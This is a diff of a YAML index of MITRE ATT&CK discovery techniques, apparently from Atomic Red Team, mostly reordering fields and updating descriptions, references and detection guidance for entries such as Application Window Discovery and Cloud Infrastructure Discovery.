   T1010:
     technique:
-      id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Application Window Discovery
-      description: Adversaries may attempt to get a listing of open application windows.
-        Window listings could convey information about how the system is used or give
-        context to information collected by a keylogger.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1010
-        external_id: T1010
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
+      name: Application Window Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
       modified: '2020-03-26T15:44:27.068Z'
       created: '2017-05-31T21:30:24.512Z'
-      x_mitre_is_subtechnique: false
       x_mitre_permissions_required:
       - User
       x_mitre_platforms:
       - macOS
       - Windows
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830
+      description: Adversaries may attempt to get a listing of open application windows.
+        Window listings could convey information about how the system is used or give
+        context to information collected by a keylogger.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1010
+        external_id: T1010
+        source_name: mitre-attack
       identifier: T1010
     atomic_tests:
     - name: List Process Main Windows - C# .NET
@@ -55216,45 +56741,45 @@ discovery:
         name: command_prompt
   T1217:
     technique:
-      id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: Browser Bookmark Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Access'
+      x_mitre_version: '1.0'
+      modified: '2020-03-26T16:06:07.367Z'
+      created: '2018-04-18T17:59:24.739Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7
+      x_mitre_platforms:
+      - Linux
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.
 
         Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.
 
         Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1217
-        external_id: T1217
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-03-26T16:06:07.367Z'
-      created: '2018-04-18T17:59:24.739Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - Windows
-      - macOS
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Mike Kemmerer
       x_mitre_detection: |-
         Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
 
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Access'
-      x_mitre_contributors:
-      - Mike Kemmerer
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1217
+        external_id: T1217
+        source_name: mitre-attack
       identifier: T1217
     atomic_tests:
     - name: List Mozilla Firefox Bookmark Database Files on Linux
@@ -55390,38 +56915,29 @@ discovery:
         name: sh
   T1087.004:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1087.004
-        url: https://attack.mitre.org/techniques/T1087/004
-      - description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.
-        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
-        source_name: Microsoft msolrolemember
-      - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
-          6, 2019.
-        url: https://github.com/True-Demon/raindance
-        source_name: GitHub Raindance
-      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
-        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
-        source_name: Microsoft AZ CLI
-      - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
-          Directory Leaks via Azure. Retrieved October 6, 2019.
-        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
-        source_name: Black Hills Red Teaming MS AD Azure, 2018
-      - source_name: AWS List Roles
-        description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020.
-        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
-      - source_name: AWS List Users
-        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
-        description: Amazon. (n.d.). List Users. Retrieved August 11, 2020.
-      - source_name: Google Cloud - IAM Servie Accounts List API
-        url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
-        description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved
-          August 4, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Cloud Account
+      x_mitre_data_sources:
+      - 'User Account: User Account Metadata'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-03-16T12:54:41.133Z'
+      created: '2020-02-21T21:08:36.570Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe
+      x_mitre_platforms:
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may attempt to get a listing of cloud accounts. Cloud
         accounts are those created and configured by an organization for use by users,
         remote support, services, or for administration of resources within a cloud
@@ -55439,152 +56955,117 @@ discovery:
         iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code>
         may be used to obtain a listing of service accounts and users in a project.(Citation:
         Google Cloud - IAM Servie Accounts List API)"
-      id: attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-03-16T12:54:41.133Z'
-      created: '2020-02-21T21:08:36.570Z'
       x_mitre_contributors:
       - Praetorian
-      x_mitre_data_sources:
-      - 'User Account: User Account Metadata'
-      - 'Command: Command Execution'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.
 
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1087/004
+        external_id: T1087.004
+        source_name: mitre-attack
+      - source_name: Microsoft msolrolemember
+        description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.
+        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0
+      - source_name: GitHub Raindance
+        description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
+          6, 2019.
+        url: https://github.com/True-Demon/raindance
+      - source_name: Microsoft AZ CLI
+        description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
+        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
+      - source_name: Black Hills Red Teaming MS AD Azure, 2018
+        description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
+          Directory Leaks via Azure. Retrieved October 6, 2019.
+        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
+      - url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html
+        description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020.
+        source_name: AWS List Roles
+      - url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
+        description: Amazon. (n.d.). List Users. Retrieved August 11, 2020.
+        source_name: AWS List Users
+      - url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
+        description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved
+          August 4, 2020.
+        source_name: Google Cloud - IAM Servie Accounts List API
     atomic_tests: []
   T1069.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1069.003
-        url: https://attack.mitre.org/techniques/T1069/003
-      - source_name: Microsoft Msolrole
-        url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
-        description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.
-      - description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
-          6, 2019.
-        url: https://github.com/True-Demon/raindance
-        source_name: GitHub Raindance
-      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
-        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
-        source_name: Microsoft AZ CLI
-      - description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
-          Directory Leaks via Azure. Retrieved October 6, 2019.
-        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
-        source_name: Black Hills Red Teaming MS AD Azure, 2018
-      - source_name: Google Cloud Identity API Documentation
-        url: https://cloud.google.com/identity/docs/reference/rest
-        description: Google. (n.d.). Retrieved March 16, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cloud Groups
-      description: |-
-        Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
-
-        With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts.(Citation: Microsoft Msolrole)(Citation: GitHub Raindance)
-
-        Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation)
-      id: attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-03-30T12:42:46.315Z'
-      created: '2020-02-21T21:15:33.222Z'
+      name: Cloud Groups
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Group: Group Enumeration'
       - 'Group: Group Metadata'
       - 'Application Log: Application Log Content'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: |-
-        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
-
-        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
+      x_mitre_version: '1.3'
+      modified: '2021-06-25T12:13:37.940Z'
+      created: '2020-02-21T21:15:33.222Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--16e94db9-b5b1-4cd0-b851-f38fbd0a70f2
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - SaaS
       - IaaS
       - Google Workspace
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.
+
+        With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
+
+        Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command <code>az ad user get-member-groups</code> will list groups associated to a user account for Azure while the API endpoint <code>GET https://cloudidentity.googleapis.com/v1/groups</code> lists group resources available to a user for Google (Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)(Citation: Google Cloud Identity API Documentation).
+
+        Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS <code>GetBucketAcl</code> API (Citation: AWS Get Bucket ACL). Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.
+      x_mitre_contributors:
+      - Regina Elwell
+      - Isif Ibrahima
+      x_mitre_detection: |-
+        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
+
+        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Activity and account logs for the cloud services can also be monitored for suspicious commands that are anomalous compared to a baseline of normal activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1069/003
+        external_id: T1069.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrole?view=azureadps-1.0
+        description: Microsoft. (n.d.). Get-MsolRole. Retrieved October 6, 2019.
+        source_name: Microsoft Msolrole
+      - source_name: GitHub Raindance
+        description: Stringer, M.. (2018, November 21). RainDance. Retrieved October
+          6, 2019.
+        url: https://github.com/True-Demon/raindance
+      - source_name: Microsoft AZ CLI
+        description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
+        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
+      - source_name: Black Hills Red Teaming MS AD Azure, 2018
+        description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active
+          Directory Leaks via Azure. Retrieved October 6, 2019.
+        url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/
+      - url: https://cloud.google.com/identity/docs/reference/rest
+        description: Google. (n.d.). Retrieved March 16, 2021.
+        source_name: Google Cloud Identity API Documentation
+      - url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html
+        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
+        source_name: AWS Get Bucket ACL
     atomic_tests: []
   T1580:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1580
-        url: https://attack.mitre.org/techniques/T1580
-      - source_name: Amazon Describe Instance
-        url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
-        description: Amazon. (n.d.). describe-instance-information. Retrieved March
-          3, 2020.
-      - source_name: Amazon Describe Instances API
-        url: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
-        description: Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.
-      - source_name: Google Compute Instances
-        url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
-        description: Google. (n.d.). gcloud compute instances list. Retrieved May
-          26, 2020.
-      - description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
-        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
-        source_name: Microsoft AZ CLI
-      - source_name: Expel IO Evil in AWS
-        url: https://expel.io/blog/finding-evil-in-aws/
-        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
-          Evil in AWS. Retrieved June 25, 2020.
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cloud Infrastructure Discovery
-      description: |-
-        An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
-
-        Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI)
-
-        An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.
-      id: attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-03-08T10:33:02.163Z'
-      created: '2020-08-20T17:51:25.671Z'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      x_mitre_detection: Establish centralized logging for the activity of cloud infrastructure
-        components. Monitor logs for actions that could be taken to gather information
-        about cloud infrastructure, including the use of discovery API calls by new
-        or unexpected users. To reduce false positives, valid change management procedures
-        could introduce a known identifier that is logged with the change (e.g., tag
-        or header) if supported by the cloud provider, to help distinguish valid,
-        expected actions from malicious ones.
+      name: Cloud Infrastructure Discovery
       x_mitre_data_sources:
       - 'Instance: Instance Metadata'
       - 'Instance: Instance Enumeration'
@@ -55594,83 +57075,165 @@ discovery:
       - 'Cloud Storage: Cloud Storage Enumeration'
       - 'Volume: Volume Metadata'
       - 'Volume: Volume Enumeration'
-      x_mitre_platforms:
-      - IaaS
-    atomic_tests: []
-  T1538:
-    technique:
-      external_references:
-      - external_id: T1538
-        source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1538
-      - source_name: Google Command Center Dashboard
-        url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
-        description: 'Google. (2019, October 3). Quickstart: Using the dashboard.
-          Retrieved October 8, 2019.'
-      - source_name: AWS Console Sign-in Events
-        url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html
-        description: Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October
-          23, 2019.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cloud Service Dashboard
-      description: |-
-        An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
-
-        Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
-      id: attack-pattern--e49920b0-6c54-40c1-9571-73723653205f
-      type: attack-pattern
+      x_mitre_version: '1.2'
+      modified: '2021-09-02T14:42:19.761Z'
+      created: '2020-08-20T17:51:25.671Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-03-16T12:56:36.098Z'
-      created: '2019-08-30T18:11:24.582Z'
+      id: attack-pattern--57a3d31a-d04f-4663-b2da-7df8ec3f8c9d
+      x_mitre_platforms:
+      - IaaS
       x_mitre_is_subtechnique: false
-      x_mitre_detection: 'Monitor account activity logs to see actions performed and
-        activity associated with the cloud service management console. Some cloud
-        providers, such as AWS, provide distinct log events for login attempts to
-        the management console.(Citation: AWS Console Sign-in Events)'
+      x_mitre_permissions_required:
+      - User
+      description: "An adversary may attempt to discover resources that are available
+        within an infrastructure-as-a-service (IaaS) environment. This includes compute
+        service resources such as instances, virtual machines, and snapshots as well
+        as resources of other services including the storage and database services.\n\nCloud
+        providers offer methods such as APIs and commands issued through CLIs to serve
+        information about infrastructure. For example, AWS provides a <code>DescribeInstances</code>
+        API within the Amazon EC2 API that can return information about one or more
+        instances within an account, the <code>ListBuckets</code> API that returns
+        a list of all buckets owned by the authenticated sender of the request, or
+        the <code>GetPublicAccessBlock</code> API to retrieve access block configuration
+        for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe
+        Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's
+        Cloud SDK CLI provides the <code>gcloud compute instances list</code> command
+        to list all Google Compute Engine instances in a project (Citation: Google
+        Compute Instances), and Azure's CLI command <code>az vm list</code> lists
+        details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may
+        enumerate resources using a compromised user's access keys to determine which
+        are available to that user.(Citation: Expel IO Evil in AWS) The discovery
+        of these available resources may help adversaries determine their next steps
+        in the Cloud environment, such as establishing Persistence.(Citation: Mandiant
+        M-Trends 2020)An adversary may also use this information to change the configuration
+        to make the bucket publicly accessible, allowing data to be accessed without
+        authentication. Adversaries have also may use infrastructure discovery APIs
+        such as <code>DescribeDBInstances</code> to determine size, owner, permissions,
+        and network ACLs of database resources. (Citation: AWS Describe DB Instances)
+        Adversaries can use this information to determine the potential value of databases
+        and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526),
+        this technique focuses on the discovery of components of the provided services
+        rather than the services themselves."
+      x_mitre_contributors:
+      - Regina Elwell
+      - Isif Ibrahima
+      - Praetorian
+      x_mitre_detection: Establish centralized logging for the activity of cloud infrastructure
+        components. Monitor logs for actions that could be taken to gather information
+        about cloud infrastructure, including the use of discovery API calls by new
+        or unexpected users. To reduce false positives, valid change management procedures
+        could introduce a known identifier that is logged with the change (e.g., tag
+        or header) if supported by the cloud provider, to help distinguish valid,
+        expected actions from malicious ones.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1580
+        external_id: T1580
+        source_name: mitre-attack
+      - url: https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html
+        description: Amazon. (n.d.). describe-instance-information. Retrieved March
+          3, 2020.
+        source_name: Amazon Describe Instance
+      - url: https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html
+        description: Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020.
+        source_name: Amazon Describe Instances API
+      - url: https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetPublicAccessBlock.html
+        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
+        source_name: AWS Get Public Access Block
+      - url: https://cloud.google.com/sdk/gcloud/reference/compute/instances/list
+        description: Google. (n.d.). gcloud compute instances list. Retrieved May
+          26, 2020.
+        source_name: Google Compute Instances
+      - source_name: Microsoft AZ CLI
+        description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.
+        url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest
+      - url: https://expel.io/blog/finding-evil-in-aws/
+        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
+          Evil in AWS. Retrieved June 25, 2020.
+        source_name: Expel IO Evil in AWS
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
+      - url: https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html
+        description: Amazon Web Services. (n.d.). Retrieved May 28, 2021.
+        source_name: AWS Describe DB Instances
+    atomic_tests: []
+  T1538:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Cloud Service Dashboard
       x_mitre_data_sources:
       - 'User Account: User Account Authentication'
       - 'Logon Session: Logon Session Creation'
-      x_mitre_permissions_required:
-      - User
       x_mitre_version: '1.1'
-      x_mitre_contributors:
-      - Praetorian
+      modified: '2021-03-16T12:56:36.098Z'
+      created: '2019-08-30T18:11:24.582Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--e49920b0-6c54-40c1-9571-73723653205f
       x_mitre_platforms:
       - Azure AD
       - Office 365
       - IaaS
       - Google Workspace
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard)
+
+        Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.
+      x_mitre_contributors:
+      - Praetorian
+      x_mitre_detection: 'Monitor account activity logs to see actions performed and
+        activity associated with the cloud service management console. Some cloud
+        providers, such as AWS, provide distinct log events for login attempts to
+        the management console.(Citation: AWS Console Sign-in Events)'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1538
+        external_id: T1538
+        source_name: mitre-attack
+      - url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard
+        description: 'Google. (2019, October 3). Quickstart: Using the dashboard.
+          Retrieved October 8, 2019.'
+        source_name: Google Command Center Dashboard
+      - url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html
+        description: Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October
+          23, 2019.
+        source_name: AWS Console Sign-in Events
     atomic_tests: []
   T1526:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1526
-        url: https://attack.mitre.org/techniques/T1526
-      - source_name: Azure - Resource Manager API
-        url: https://docs.microsoft.com/en-us/rest/api/resources/
-        description: Microsoft. (2019, May 20). Azure Resource Manager. Retrieved
-          June 17, 2020.
-      - source_name: Azure AD Graph API
-        url: https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview
-        description: Microsoft. (2016, March 26). Operations overview | Graph API
-          concepts. Retrieved June 18, 2020.
-      - source_name: Azure - Stormspotter
-        url: https://github.com/Azure/Stormspotter
-        description: Microsoft. (2020). Azure Stormspotter GitHub. Retrieved June
-          17, 2020.
-      - source_name: GitHub Pacu
-        url: https://github.com/RhinoSecurityLabs/pacu
-        description: Rhino Security Labs. (2019, August 22). Pacu. Retrieved October
-          17, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Cloud Service Discovery
+      x_mitre_data_sources:
+      - 'Cloud Service: Cloud Service Metadata'
+      - 'Cloud Service: Cloud Service Enumeration'
+      x_mitre_version: '1.2'
+      modified: '2021-03-16T12:57:03.837Z'
+      created: '2019-08-30T13:01:10.120Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
